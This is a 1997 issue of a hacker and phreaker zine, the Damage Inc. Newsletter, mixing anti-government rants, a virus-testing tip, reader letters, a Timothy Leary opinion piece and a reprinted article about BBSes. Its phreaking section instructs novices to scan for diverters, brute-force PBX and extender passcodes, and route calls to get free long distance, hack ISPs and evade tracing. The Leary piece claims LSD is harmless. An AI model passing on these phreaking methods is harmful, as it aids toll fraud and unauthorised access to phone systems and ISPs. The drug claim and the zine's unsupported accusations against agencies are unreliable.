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Damage Inc. Newsletter Issue 04
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÞÛÛÛÛÛÛ ÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÝ
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ÍÍÍÍÛÛÝ ÛÛÛÍÛÛÝÛÛÛÛÍÛÛÝÞÛÛÍÛÛÍÛÛÝÛÛÛÛÍÛÛÝÍßÛÛÝÞÛÝßßßÍÍÍÍÍÍÛÛÞÛÛ ÛÛ ÛÛÝ ÍÍÍÍÍ
ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ
"The name speaks for itself!" ÞÝ
Presents the
Damage, INC. Newsletter
December 1997 Issue #4.
"We're gonna phreak you out."
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
C O N T E N T S :
þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
þ BIG BROTHER BASHING - Statistics Canada and CSIS are listening and watching.
¯ Search String: {BIG BROTHER}
þ BLACKENED'S TIP OF THE MONTH - Virus detection techniques.
¯ Search String: {BLACKENED}
þ CONSPIRACIES AND COVERUPS - Bill C-17: Kiss your rights goodbye.
¯ Search String: {COVERUPS}
þ CORRUPTION AND GREED - Bell preys upon naive customers.
¯ Search String: {GREED}
þ H/P INFORMATION AND NEWS - Information on ANIs and diverters.
¯ Search String: {NEWS}
þ INTERVIEWS AND INTERROGATIONS - Savage Dragon's hilarious message.
¯ Search String: {INTERVIEWS}
þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
¯ Search String: {LETTERS}
þ OBJECTIVE OPINIONS - Timothy Leary and Drugs.
¯ Search String: {OPINIONS}
þ REPORTS FROM THE FRONT - Cybernauts sing the praises of Bulletin Boards.
¯ Search String: {REPORTS}
þ SOURCE AND SCRIPTS - DAMSMALL virus source code.
¯ Search String: {SOURCE}
þ THE JOURNALIST'S TOP TEN LIST - Not Available in this issue.
¯ Search String: {TOP TEN}
þ THOUGHTS, POEMS AND CREATIVE WRITING - A short poem titled "Awakening".
¯ Search String: {WRITING}
þ CLOSING COMMENTS - BLACKENED's Hostile Closing Comments.
¯ Search String: {CLOSING}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
INTRODUCTION: Phreaking Bell...Phreaking Bell...Phreaking all the way. Oh
what fun it is to phreak to a new exchange. Hey. That should
get you in the spirit. ;) A special shout goes out to our
readers in B.C. We should have a Damage, INC. Dist. Site in
your area soon. To the rest of our loyal readers in 519 etc.
we haven't forgotten about you. Keep reading, learning and
experimenting. Also, I realize there are quite a few newbies
that are now reading the Damage, INC. Newsletter. We aren't
going to neglect you, so don't worry. To those that do not
enjoy reading what we write: phreak you.
BIG BROTHER BASHING - {BIG BROTHER}
Statistics Canada and CSIS are listening and watching:
Statistics Canada (commonly referred to as Stats Canada) and CSIS (which
stands for Canadian Security Intelligence Service) are listening and watching.
I'm sure that if CSIS gets a copy of this article, I will be under their
surveillance. That is, if I'm not already being monitored by them. The main
purpose for writing about these two government agencies is to reveal what
they've done, show the power and control they've been given, and expose the
truth about how they work.
Stats Canada is a very corrupt agency. It is an organization of people that
is designed to gather information on the citizens of this country. Have you
ever received a government survey in the mail addressed to you? If not,
then perhaps you've answered their questions over the phone or in person.
At any rate, Stats Canada sends out surveys in the mail. They also call
people "at random" and expect you to answer their questions. The reason I
put the words at random in quotes is because they actually target certain
people and repeatedly call them. In fact, if they call and you refuse to
answer any questions, the Stats Canada representative will become rather
angry and aggressive. I have personal experience with those bastards and
know exactly how they behave. First, they said the "survey" was mandatory.
I told them that I wasn't going to answer any of their questions over the
phone... and politely stated I don't give personal information out to absolute
strangers. Then, they replied that they can setup an appointment and ask
the questions in person. I said I wasn't interested in filling out anything
or answering any questions. That's when they snapped. The voice of the Stats
Canada representative became emotional and upset... and she said that I must
answer her questions. At that point, I was basically sick of talking to them.
However, I decided to ask what they'd do if I refused to answer any questions.
She then threatened to imprison me and said that I'm obligated by law to do
what they ask. Hahaha. I couldn't contain myself and began laughing. Then
I just made up an excuse about being unavailable. Before I hung up the phone,
she made another threat about calling back until I complete the survey. That's
just one example of how Stats Canada treats (or threatens) average citizens.
Why does Stats Canada even exist? The sickening truth is that they exist to
gather information on us. They even target people and victimize them by
continually forcing them to answer questions, fill out surveys etc. It should
be our right not to give out personal information. We should have the option
to refuse answering their questions. Also, the information and data that they
gather isn't kept confidential... even though they claim it is. Stats Canada
has been caught *selling* people's information to private companies that create
databases. Obviously, that's an illegal act on their part. They intentionally
violate people's privacy in order to profit. It was reported a few months ago
that Stats Canada was harassing people in B.C. At least they didn't just take
it and are trying to fight them. On a side note, Stats Canada also enjoys
falsifying and manipulating the statistics that they report. As in, the
percentage of people that are unemployed, inflation, savings, the deficit etc.
You simply cannot trust any figures that they create.
CSIS is no better though. In many respects, they are even worse than Statistics
Canada. The Canadian Security Intelligence Service (CSIS) is extremely corrupt
and untrustworthy. Several months ago, they were caught using illegal phone
taps on innocent citizen's phone lines. They use unlawful methods to gain
access to personal information. CSIS is also fond of installing bugs inside of
residences, without just cause or suspicion. They don't just break and disobey
the laws, they flaunt it by abusing their power on a regular basis. It would
be almost impossible to know if they are watching and listening... If that
isn't Big Brother in action, then the term "Big Brother" is meaningless. I was
very surprised that the RCMP would reveal the actions of CSIS and expose them,
since those two organizations usually work closely together. Perhaps there's
a much larger conspiracy at work.
CSIS is a dangerous, secret agency. In my opinion, their sole purpose is to
keep an eye on the "dissidents" of this country. They don't seem to be very
effective at spying and doing intelligence operations in foreign countries,
thus they concentrate their efforts on us instead. CSIS infiltrated a group
named the Heritage Front, which is a "white supremacist" organization. In the
end, the undercover CSIS agent ascended through the ranks and was a leader that
spoke at meetings. Instead of just gaining information on the Heritage Front,
he actually helped them grow, become stronger, raise funds and awareness of the
group. Haha. That's a perfect example of how CSIS attempts to closely watch
an internal group of individuals, and it backfires when they benefit the group
that they've targeted. There was even a documentary on TV about the entire
ordeal. I must admit, it was hilarious to see a Heritage Front member thanking
CSIS for helping them and saying that they did absolutely no harm. Meanwhile,
we pay millions of tax dollars to fund CSIS. Why? Well, the only answer is
so that they can fuck up like in that case and waste our money. Or, so that
CSIS can bug the houses of every citizen that they deem to be "suspicious".
If you are affiliated with a group that's anti-government, you are instantly on
their hit list. That is, no evidence is required for them to take actions
against you. Is that democracy? I think not. CSIS is comparable to the CIA
in many ways. The only major differences are that they aren't as organized,
established or powerful. The CIA has tremendous resources and their power is
far reaching (the entire world), whereas CSIS mainly spies on the people within
Canada's own borders. That is why they are the epitome of Big Brother. Time
and time again they've demonstrated their willingness to flagrantly violate the
laws, rights and invade the privacy of Canadian citizens. That's the reason
they should be eliminated before their control becomes stronger. The only
plausible way to do that is by fighting fire with fire. In other words, their
corrupt and sickening ways can be used against them. I will continue to get
information on CSIS and write articles in order to expose the truth. CSIS
actually stands for Cancer Spreading In Secrecy. The key to destroying them is
information. Instead of fearing CSIS, fight them by being prepared and by
possessing the knowledge of how they think and act. Kill the cancer.
Written by BLACKENED ú Damage, INC. (C)opyright 1997.
BLACKENED'S TIP OF THE MONTH - {BLACKENED}
Virus detection techniques:
There are many people that are paranoid about viruses these days. Therefore,
they scan their computer systems regularly with virus scanners such as F-PROT,
McAfee's Scan, TBAV, Norton Anti-Virus etc. in an attempt to feel safe. The
problem with that is, they are only given a false sense of security. Those
virus scanners can't detect every virus. Even if you use F-PROT Heuristics
Scan, you still won't be able to find everything. However, you might encounter
some false alarms as it wrongly detects files that aren't infected at all.
F-PROT's secure scan will only detect viruses that were sent to Data Fellows
to be analyzed. They disassemble it and create a scan string. Then, the
new version of F-PROT that they release looks for that code in files. It's
a rather simple method and quite primitive in a way. If you want to continue
scanning your hard drives, or new files that you download... that's fine. I'm
not trying to tell anyone not to do that. In my opinion, that isn't the safest
or most reliable way to detect viruses.
The best method is to use another computer system for virus testing. Using
an old 286 system with a hard drive is perfect for that task. Then you can
do whatever testing you want, without worrying about files being infected etc.
Obviously, not everyone has more than one computer available to them. That's
the reason I decided to write about virus detection techniques for those that
only have a single computer. First, you need to get a copy of HideDrive by
Damage, INC. Read the docs carefully before you attempt to use it. Basically,
HideDrive is a utility that's designed to hide and unhide hard drives. The
virus detection technique isn't difficult to use. Simply copy the suspicious
file (or a known virus) to a floppy disk, as well as several COM and EXE files.
Then use HideDrive to hide every hard drive on the system. Change from drive C:
to A:. To check and make sure that the drives were properly hidden, try
changing to them by typing C:. If the DOS error message "Invalid Drive
Specification" is reported, that means drive C: is hidden. Now execute the
suspicious or infected file on the floppy.
The other COM and EXE files on the disk will be used for testing purposes. If
their file size, date or time changes after you try executing the suspicious
file...that means they've been infected by a virus. The virus might go memory
resident, so remove the disk and press your Reset button to be safe. You can
then view the files with a hex editor to check and see if they were overwritten
or if code was appended by the virus. Simply compare the files with the hex of
the actual virus.
You can comment out the nuke procedure, assemble the DAMSMALL virus and safely
use it with the above method for testing. Once you have more experience using
HideDrive, you can test more complex viruses that go memory resident, use
stealth routines etc. They won't be able to do normal writes to files that are
on your hard drives (as long as they've been properly hidden first). ;)
As an example, if a virus attempted to infect COMMAND.COM (although most don't
do that for obvious reasons)... you'd probably see a DOS error message that
says "Invalid drive specification" since drive C: was hidden. That is, the
virus wouldn't be able to write to C:\COMMAND.COM. It can't infect a file that
it can't find and write to. ;) Just be careful using this method though.
HideDrive won't protect your hard drives from trojans that use BIOS writes etc.
That's the reason this method is only recommended for use with viruses. If you
have any questions, contact us.
Written by BLACKENED ú Damage, INC. (C)opyright 1997.
CONSPIRACIES AND COVERUPS - {COVERUPS}
Bill C-17: Kiss your rights goodbye.
Disclaimer:
The sections of Bill C-17 (35th Parliament session) listed below comes from the
Government of Canada web site. If there is any misinformation, they are
responsible for it. It took me hours to find confirmation that Bill C-17
received royal assent, and was enforced by the Department of "Justice" of
Canada. The Government intentionally makes it difficult to learn about laws.
"Ignorance of the law" is their greatest weapon.
On April 25, 1997, Bill C-17 received royal assent from the government. Its
purpose is to amend the Criminal Code, as well as some other acts. Some of
the notable sections are: Immunity to criminal prosecution if a police officer
commits a crime while undercover (too many exemptions to list); making occupancy
in a stolen vehicle a criminal offence (section 15); and punishing those that
think they committed a criminal act, even if they didn't (section 28).
In this article, it is my intent to show you portions of Bill C-17 relating
to police searches and seizures. These revisions to the Criminal Code
formally create loopholes for police officers. I will start by showing you
section 46:
46. The Act is amended by adding the following after
section 487.1:
Where warrant not 487.11 A peace officer, or a public officer who has
necessary been appointed or designated to administer or enforce
any federal or provincial law and whose duties include
the enforcement of this or any other Act of Parliament,
may, in the course of his or her duties, exercise any
of the powers described in subsection 487(1) or
492.1(1) without a warrant if the conditions for
obtaining a warrant exist but by reason of exigent
circumstances it would be impracticable to obtain a
warrant.
Basically, this gives a police officer an excuse if he decides to search your
premises without a warrant. Who determines the "exigent circumstances?" The
police officer of course.
Let's look at section 41, which may be of interest to hackers and phreaks.
Section 41 deals with search and seizure of computer data.
41. Section 487 of the Act is amended by adding the
following after subsection (2):
Operation of (2.1) A person authorized under this section to search
computer system a computer system in a building or place for data may
and copying
equipment
(a) use or cause to be used any computer system at
the building or place to search any data contained
in or available to the computer system;
Section 2.1(a) is particularly disturbing. What is considered "available to the
computer system?" Can a cop use the computer system with a modem and phone line
to search other computer systems "available to" it? The vagueness of 2.1(a)
opens up a multitude of loopholes for the investigator.
(b) reproduce or cause to be reproduced any data
in the form of a print-out or other intelligible
output;
(c) seize the print-out or other output for
examination or copying; and
(d) use or cause to be used any copying equipment
at the place to make copies of the data.
These subsections add insult to injury. The cop can seize a blank floppy under
(d) and use it to satisfy (b). Any computer hardware you own *will* be used
against you.
Duty of person in (2.2) Every person who is in possession or control of
possession or any building or place in respect of which a search is
control carried out under this section shall, on presentation
of the warrant, permit the person carrying out the
search
(a) to use or cause to be used any computer system
at the building or place in order to search any
data contained in or available to the computer
system for data that the person is authorized by
this section to search for;
My own perception of this subsection is that the person being searched is
supposed to act as an assistant to the cop. Look at the words "cause to be
used." What is the scope of that? Must the person being searched provide
passwords and encryption keys in order to satisfy 2.2(a)? If so, the person
being searched either incriminates himself, or is charged with obstructing the
cop's search.
(b) to obtain a hard copy of the data and to seize
it; and
(c) to use or cause to be used any copying
equipment at the place to make copies of the data.
22(b) and (c) reinforce 21(b), (c) and (d). The person being searched is
supposed to allow (assist) the cop in obtaining copies of the data.
It would be to the advantage of the cops and crown prosecutors if the suspect
is forced to provide complete access to the data on his system. Once they
obtain access to any incriminating (or allegedly incriminating) data, they
can seize every electronic device "in or available to" the data. Under
section 48(2) (entitled Seizure without warrant) of Bill C-17, it is possible
for a police officer to seize anything that he believes was used to perform
a criminal act. If the cop doesn't want to do that, he can pick up your phone,
call up a judge and get a "telewarrant" (sections 42(7) and 44(3)) for anything
else he wants to search for or seize.
I could go on for many more pages talking about other sections that deal with
search and seizure. However, the small amount of text that I imported from
Bill C-17 should be enough for you to realize that section 8 of the Charter of
Rights and Freedoms ("the right to be secure against unreasonable search and
seizure") is a fucking joke. Bill C-17 is nothing more than a huge government
conspiracy to make any person living in Canada vulnerable to (literally)
unwarranted police invasion. With extended powers and criminal immunity, the
police can arrest anyone for anything. The government seeks total control over
the population, and the threat of imprisonment, and financial ruin due to legal
fees, does keep some people under their thumb.
The way I see it, they are trying to coverup the fact that they are taking
active steps to create the Canadian Thought Police. Don't assume that you have
certain rights and freedoms, because as each bill is passed they are being
raped from us. Assuming anything is a mistake in itself.
Written by Shatazar ú Damage, INC. (C)opyright 1997.
CORRUPTION AND GREED - {GREED}
Bell preys on naive customers.
Bell is a well known, fat cat company that enjoys a monopoly of telephone
service in Canada. Since they've never had to compete in an open marketplace,
they rely on their monopoly in order to finance their greedy corporate culture.
Bell is known for their total lack of respect for their customers. They
know that there is no where else for people to go for local telephone service.
At one time, Bell had a monopoly on the telephone itself. The only "legal"
telephones were the ones that were rented directly from Bell. This policy
was enforced for decades. Then Bell was forced to soften the policy. Bell
required that one telephone must be rented from them, but extension
telephones could be purchased. That is over now. Bell can't force us to
rent one of their shitty, overpriced telephones anymore.
Bell still makes a tremendous amount of money from naive customers that
continue to rent telephones. Why do these people choose to rent a telephone
from Bell? Unlike major household items, a telephone is a relatively
inexpensive machine. Telephones are also fairly uncomplex, so they can be
used for decades without having any kind of a breakdown. I personally fail
to see why anyone should rent a telephone. Unless the intent of telephone
renters is to feed Bell's greed by joyfully putting money into their pocket.
:-(
Bell's primary residential phone renters can generally be put into two
groups. The first groups are young yuppies that rent the "top of the line"
telephone with all the little Bell buttons. They "need the best" to compete
with their snobby neighbours. Since they may not be able to afford one
that costs $250 or more, they rent it. These morons also believe that blowing
money on all of Bell's services (Call Screening, Caller-ID, etc.) is a
necessity. If these people would have a little bit of self-control, they would
save up enough money to buy the phone outright.
I do have some sympathy for the second group of Bell telephone renters; the
elderly. They are from the era of the Bell "rental monopoly" and many haven't
realized that they can return Bell's phone and own their own. Most seniors are
trusting people, so they don't tend to look at their telephone bill carefully.
They don't realize how much money they have allowed Bell to take from them. Of
course, Bell is careful to let seniors think that their corrupt telephone
policies are still in effect. To this day, Bell service operators still ask "Do
you have a Bell phone?"
However, I have found it isn't a total waste of time to inform seniors how they
are being gauged by Bell. My grandmother rented a Harmony touch tone telephone
from Bell for 13 years. Bell charged her $3.55 per month, plus 15% taxes. That
works out to be $48.99 per year. (Try multiplying $48.99 by the millions of
people that rent phones from "Ma Bell" :-(). A refurbished Harmony phone costs
$14.99 ($17.29 with taxes) at a discount department store. A new Harmony phone
doesn't cost much more than $25. Here is the real kicker. Performing simple
math, 13 * $48.99 equals $636.87. That doesn't even count the years she rented
one of those ancient, black rotary phones that sit in many bedrooms, basements,
attics and barns throughout Canada.
When I found out that she was renting, I helped her by doing the above
calculations. And she understood them. She paid for 40 refurbished Harmony
phones over the past 13 years. She decided that she wanted to stop the eternal
bleeding that Bell was causing. We returned the Harmony phone to Bell, and she
bought a new telephone with large buttons, which will pay for itself in two
years.
I recommend that you do the same thing for the naive. Ask you parents, your
grandparents, and everybody else you have respect for if they rent a phone from
Bell. Help them out with some simple mathematics. Let them know how many
telephones they could have bought with the money they gave to Bell. Hopefully,
they will no longer want to be a part of the rental scam that Bell has been
profiting from since their corrupt beginnings. Either that or you can take
matters into your own hands. Since Christmas is near, you could cross one
gift off of your list by buying them a telephone. You'll also be eliminating a
little bit from Bell's income statement. 'Tis always the season to fight back
against Bell! ;-)
Written by Shatazar ú Damage, INC. (C)opyright 1997.
H/P INFORMATION AND NEWS - {NEWS}
Information on ANIs and diverters:
This section was written and intended for newbies that have little or no
phreaking experience. First, I'd like to clear up some misconceptions. I've
been asked questions such as "Does *67 cost anything?" many times by users
on boards in 519. *67 is free. Also, I've seen people ask "Does *67 block
out the phone number if the other person uses *69 after you hang up?" Yes,
your number won't be reported to them. "Does *67 get around call screening?"
No, it doesn't. If the person uses call screening to prevent you from calling
them from a certain number, you need to use a diverter. ;) Maybe a complete
list of Bell *## codes and what they do is necessary.
ANIs/ANACs and diverters are two things that novice phreaks should definitely
learn and know about. They are both very important and useful for several
reasons. ANACs (Automatic Number Announcement Circuits) can be local or 1-800
numbers etc. As an example, you dial the number 1-800-555-5555 and it reports
what your number is. Obviously, it's useful for finding out the number while
you're beige boxing...but also for finding out if an extender diverts. If you
have an extender and want to find out if it's also a diverter, simply use it to
call an ANI. Not all extenders divert though. Plus, there are occasions when
you need a local diverter that isn't an extender. For example, if you wanted
to call a local ISP and divert your number. To find diverters, use ToneLoc to
scan for them. You'll probably find a diverter or two, some extenders, PBXs
etc. Usually, there's a 4 or 5 digit passcode on them which can be hacked
quickly. If the passcode is more than 6 digits, try hacking another one as it
will require too many attempts.
At this point, you might be asking "What do I need a diverter for anyways?"
If you plan on dialing out through a PBX or using an extender for free ld, you
should consider using an extender. Another instance would be hacking an ISP
or using hacked accounts. Diverters are also useful for calling numbers that
have Caller ID, Call Screening or an ANI. Many PBXs, 1-800 extenders, systems
etc. have ANIs...so use diverters to avoid being busted. You can also use
extenders that divert (check to make sure they do first) to access an ISP
through the local number they have in that area. Most ISPs have numbers that
are local to different areas, so using extenders that divert is a fairly good
method to use. Using several diverters is even better and more difficult to
trace. Don't assume that the number you're calling doesn't have an ANI unless
you want to get busted. Once you have some diverters, you can use them with
ToneLoc to scan etc. safely. The possible uses for them are almost endless.
ANIs can also be used with CNAs. "What the fuck is a CNA?" CNA stands for
Customer Name and Address. If you're beige boxing and used an ANI to get the
phone number (or you just want to find out the Name and Address of a telephone
number) you can use a CNA to get that information. There are local and ld CNAs
as well as 1-900 (pay per minute) CNAs that some private companies provide as a
service. Most of them are setup by the local telco for use by linesmen etc.
They use an ANI to find the number for a line (which is just a pair of wires),
and then they dial the CNA number to find out their Name and Address. Telco
personnel use them and phreaks do as well. They're quite useful in any
situation when you require that information. As in, you can setup a
teleconference while you are beige boxing by using an ANI and a CNA. ;)
In the next issue of the Damage, INC. Newsletter there will be more information
on PBXs, VMBs etc. I'll discuss what they do, how to find them, hack them and
use them without getting caught. Until then, start reading phreaking related
text files, experiment with ToneLoc and any codes that you find.
Written by Blackie Lawless ú Damage, INC. (C)opyright 1997.
INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
Savage Dragon's hilarious message:
I simply couldn't resist including a copy of this message in the Damage, INC.
Newsletter. It was posted in a public base on FoI Archives. My intention
isn't to humiliate him. I'm not trying to be malicious in any way. I just
found it hilarious. Basically, I decided to publish it instead of doing an
interview or interrogation in this issue. Just remember, anything that you
post on a board can be captured/imaged and used by anyone else for their own
purpose. In this case, we just took a message and published it so that our
readers in other area codes (outside of 519) can have a good laugh. ;)
-------------------------------------------------------------------------------
There I was .. a clueless newbie with an internet account from daddy. I got
into the irc business, all the good stuff. Then I learned about shells. I
found out I had one, and learned how to access it (tough stuff). So, I ftp'd
to to it using good old cuteftp, and started looking around at not only the
shit in my directory, the shit in other directories. There I noticed there
was a big names list of all the poeple's login names. I was in business. Big
time. After I wrote down about 30 names from the list, I loaded up good old
telnet.exe and telnet'ed to my isp, trying every username i wrote down, as for
the password, i just used the username too. :P As I was chatting on irc, no
doubt everyone was laughing at my incredible 'hax0ring' skills, they told me
to try the login name "root". I tried that for about 10 logins, and then
poof, i was disconnected. I went to reconnect, and every time it wouldn't
work. So i called them up and told them something was wrong with my account,
and I couldn't login. In response, they told me "ya, we locked you out". I
chatted with them for a while, then left still wondering how they traced me.
:) I was on my sentex accoutn, telnetting to sentex. Smart. :P Uh. I'm
getting sick of this shit ..
savage dragon
-------------------------------------------------------------------------------
LETTERS TO THE EDITOR - {LETTERS}
I received these messages on FoI and Distraught Continuum. If you have any
feedback, leave BLACKENED Email or Netmail.
Date: 2:32 pm Thu Nov 27, 1997 Number : 746 of 749
From: Sprite Base : [Damage, INC. Discussion]
To : Blackened Refer #: None
Subj: Damage, INC Newletter #3 Replies: None
Stat: Normal Origin : Local
I just got done reading the latest newsletter.. When I read your "Interview"
with Billy boy... I almost pissed myself laughing.. twice. Your information
is always accurate and your 'gut instinct' <-refering to latest interview!
Should be applauded.. Well.. I hope you keep it up.. It's looking very
promising!
l8r
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date: 1:19 pm sat nov 29, 1997 number : 4 of 4
from: Kalamity base : Private Mail
to : Blackened refer #: none
subj: Hey replies: none
stat: normal origin : local
Just thought I'd drop a note letting you know that I downloaded all the Damage
Inc. newsletters released so far, and that I think they're excellent! One
thing I will try is Toneloc. Because, honestly, who likes paying Bell for
long distance charges? :)
Kalamity
-------------------------------------------------------------------------------
Editor - Sprite, we're glad you enjoyed the interrogation of Billy Gates. It
was intended to be humorous. Basically, we wanted to humiliate him
and give the readers a good laugh at the same time. ;) Thanks for
the feedback man.
Kalamity, I hope you continue reading the Damage, INC. Newsletter.
It is good that you're taking an interest and learning more about
ToneLoc etc. Your point about ld charges is well taken. Thanks for
the feedback and compliment about our releases.
OBJECTIVE OPINIONS - {OPINIONS}
Timothy Leary and Drugs:
"Turn on, tune in, drop out"
"Surfing the chaos"
Timothy Leary lead an amazing life. He advocated the use of LSD and other
psychedelic drugs... that expand your mind. He was outspoken, and not afraid
to break the laws in order to convey his message. He was imprisoned, made a
daring escape... fled the United States... and lived in Switzerland until he
was captured in Afghanistan and returned to the U.S. He was anti-establishment
and believed in personal freedom and thought. Even in death, he managed to
capture attention by having his head removed and frozen... to be preserved in
a cryogenic state. His body was then cremated and the ashes were dispersed in
space. His death was filmed, and I was able to watch as they cut off his head
and put it in a clear container filled with ice. His face was positioned
towards the camera. I can honestly say, I have never seen anything quite like
that before. Of course, it's possible that the decapitation of his head was
faked. Real or not, he managed to make everyone that viewed the event think.
Leary had many accomplishments that are noteworthy. He toured universities as
a speaker. He had a PhD and was also a writer. Over the years, he wrote many
books. Some of them were written while he was serving a sentence in a
California prison. Leary once said that law enforcement was closely related to
agriculture since "police officers are very skilled at planting." to paraphrase
him. He was busted for possession of two joints, which a cop put into the ash
tray of his car. Given his reputation, it shouldn't be too difficult to picture
them framing him. The judge didn't give him bail at his trial because he said
his "ideas were dangerous". President Richard Nixon called Timothy Leary
"the most dangerous man alive." because of the books he'd written and the
speeches he had made. Imagine that. Meanwhile, Leary was just a philosopher
with ideas that the government didn't agree with. He was persecuted for his
ideas, his words, his lifestyle and his mind. That was the real weapon.
Leary's imagination and philosophies weren't "acceptable" to the Government of
the United States of America. In their view, he had very dangerous ideas about
drugs etc. that they are still trying to battle in their little "war against
drugs" until this day. However, they will never win the war on drugs... as long
as there are eloquent, aggressive, free thinkers like Leary around to speak out.
Don't conform. Become Informed. Don't just believe everything like a zombie.
Instead of listening to propaganda that is intended to brainwash you, educate
yourselves. LSD won't harm you. The THC that's in marijuana doesn't
permanently alter your brain. ;) The anti-drug campaign is orchestrated by
unintelligent members of Big Brother. They will tell you that smoking weed
makes you stupid. If that's true, how was Leary (a frequent drug user) able to
write so many excellent books? Also, why can't they create more imaginative
slogans? "Just say No" says nothing at all. They group everything together.
Are crack, heroin, cocaine, hash, acid, marijuana etc. all the same? No, of
course not. Yet, that's what you are *told* and supposed to believe. Here
is my answer to that: Fuck "the establishment". Fuck "the system".
Fuck "society". Fuck Big Brother. They lie in order to control the citizens.
They expect their words to be taken as truth. They're wrong in assuming that
everyone is blind.
Leary was a very controversial figure. Big Brother tracked, monitored and
feared him because they thought he was a threat to "society". He had strange
ideas, different behaviour and ways of doing things. That is, he didn't just
go with the grain. In fact, he was infamous for saying things that go directly
against the norm. That is why I feel that he was a genius. I'm not basing
that statement purely on his intellect either, but rather the way in which he
lived his life. He wasn't afraid to be involved in the whole counter-culture
movement of that era. Leary was also a cool person that bridged the generation
gap and could relate seemlessly with much younger people. He was able to teach
them about things that weren't often discussed openly during that time. Leary
would say anything that he believed in, and should be commended for doing that.
I *know* some of you are enlightened enough to understand the message that is
expressed in this short article, and form your own opinions. That's all that
I can ask for. Unfortunately, the same can't be said of your own government...
as they don't want you to read this and form your own opinions about what is
written. My final comment is that I've seen some of Leary's expressions altered
and abused for commercialism and capitalism. As in, "Turn on, tune in and win"
has been used to advertise contests etc. In my opinion, that is a pathetic
example of how a message can become distorted and used for another purpose.
The majority of the time, the purpose is to exploit it and make money. Greed is
another topic though, so I'll just end this by saying; Think and you will
prosper.
Written by BLACKENED ú Damage, INC. (C)opyright 1997.
REPORTS FROM THE FRONT - {REPORTS}
(c) 1997 Mark Stachiew
(c) 1997 The Montreal Gazette
CYBERNAUTS SING THE PRAISES OF BULLETIN BOARDS
by Mark Stachiew
Back in the Stone Age of computers, before Bill Gates had made his
first million and the Internet had yet to see its first "spam" message,
computer users talked with each other via Bulletin Board Systems
(BBSes).
While the World Wide Web has taken a bite out of the number of
BBSes, they never really went away and now the old-timers who still
use them are banding together to tell cyberspace newcomers what
they're missing.
A BBS is basically a computer sitting in someone's home running
software which allows it to answer incoming calls. Other computer
users call the BBS to exchange messages, play games and download
computer programs. It really is an electronic bulletin board.
They are usually free to call since the system is being run as a
hobby by someone who is donating time and computer. No fancy browsers
or hardware are required. The lowliest computer with a modem and
terminal program will be enough to connect to a BBS.
Longtime users of BBSes remain nostalgic about the early days of
the 1980s when the first home computers gave birth to the fledgling
bulletin boards. In those days BBS callers used glacially-slow 300
baud modems with acoustic couplers that had to be fit over telephone
handsets and looked like rubber earmuffs. They endured these hardships
because of the magic that BBSes created. It was a new form of
communication which allowed people to make contact with total
strangers which sometimes developed into lifelong friendships.
Lynda McCormick knows all about BBSes bringing people together. She
runs one of the oldest ones in Montreal. McBB has been in continuous
operation since 1984 [typo here, actually it was 1987 - we just
celebrated our 10th anniversary this month! --Bl.] and people who
called on the first day are still calling 13 [10] years later. "Some
of the old-time users will still call in long-distance when they've
moved away," she says. "Not on a regular basis, but it's fantastic to
hear from them and hear how life is treating them now in Toronto,
London, Ontario, Seattle, or L.A."
McCormick is still enthusiastic about BBSing and is creating an
online BBSing Museum with electronic ephemera from BBSes which have
long since vanished into the ether. "The BBS scene in Montreal has
been a very rich one with many characters, personalities and a few
very hilarious stories," she says. "I for one would like to see it
preserved and cherished as it should be, and not simply swept away
and forgotten."
One local BBS operator, Steve Monteith, has maintained a list of
Montreal bulletin boards (www.vir.com/~capt_xerox/bbslist.html) for
nearly 12 years. Looking over archives of the list demonstrate how
much damage the Web has done to BBSing in this city. In 1989,
Montreal boasted 175 computer bulletin boards. That number grew
steadily, peaking at 482 in 1995 which is about the time the Web began
to blossom. Since then the number of BBSes has plummeted to 221. At
that rate of decline they could be extinct in two years.
So do BBSes have a future? The people who still use them think so.
They persist because they create a sense of community among users and
because callers usually live in the same town, so they are able to
get together offline where friendships are formed. That can be
difficult on the Internet where you could be exchanging E-mail with
someone from Zimbabwe or Kuala Lampur.
Monteith notes a few other advantages of the local BBS over the
Internet. You won't get unwanted E-mail (spam) and BBSes are rarely
commercial. "You can read through whole message bases, and not see an
advertisement and you can be quite sure that your name on a BBS isn't
going to be sold to some mailing list."
An international grass-roots organization has sprung up to spread
the word about BBSes. The Council for Online Community Alternatives
(http://coca.home.ml.org) aims to promote BBSes as an alternative to
the Internet and to build awareness among computer users that BBSes
are available in their communities. They maintain that in recent
years millions of people have rushed out to buy computers thinking
their only online alternative was the Internet, oblivious to the
existence of local BBSes.
COCA likes to point out some of the advantages of BBSes. For
example, at peak times the busy Internet can slow to a crawl. That
isn't a problem on a BBS since there is usually only one user
connected at a time so your new fast modem will actually work at full
speed. Unlike most discussion groups on the Internet, the ones on
BBSes are usually moderated and ill-tempered "flame" wars are less
common. And pornography is much rarer on BBSes.
BBSes are becoming more sophisticated. Many local BBSes now offer
Internet E-mail and access to select Usenet newsgroups. Some have lots
of downloadable files while others use flashy terminal programs which
give them a graphical interface which is almost as easy to use as a
Web browser. Some bulletin boards are even directly accessible over
the Web, usually via telnet. You can find a list of other Internet
BBSes at http://dkeep.com/sbi.html.
Other BBS resources on the Web:
BBS FAQ
www.sysopworld.com/bbsfaq/text/faqmain.htm
DIRECTORY OF NORTH AMERICAN B.B.S.es
www.thedirectory.org/areacode.htm
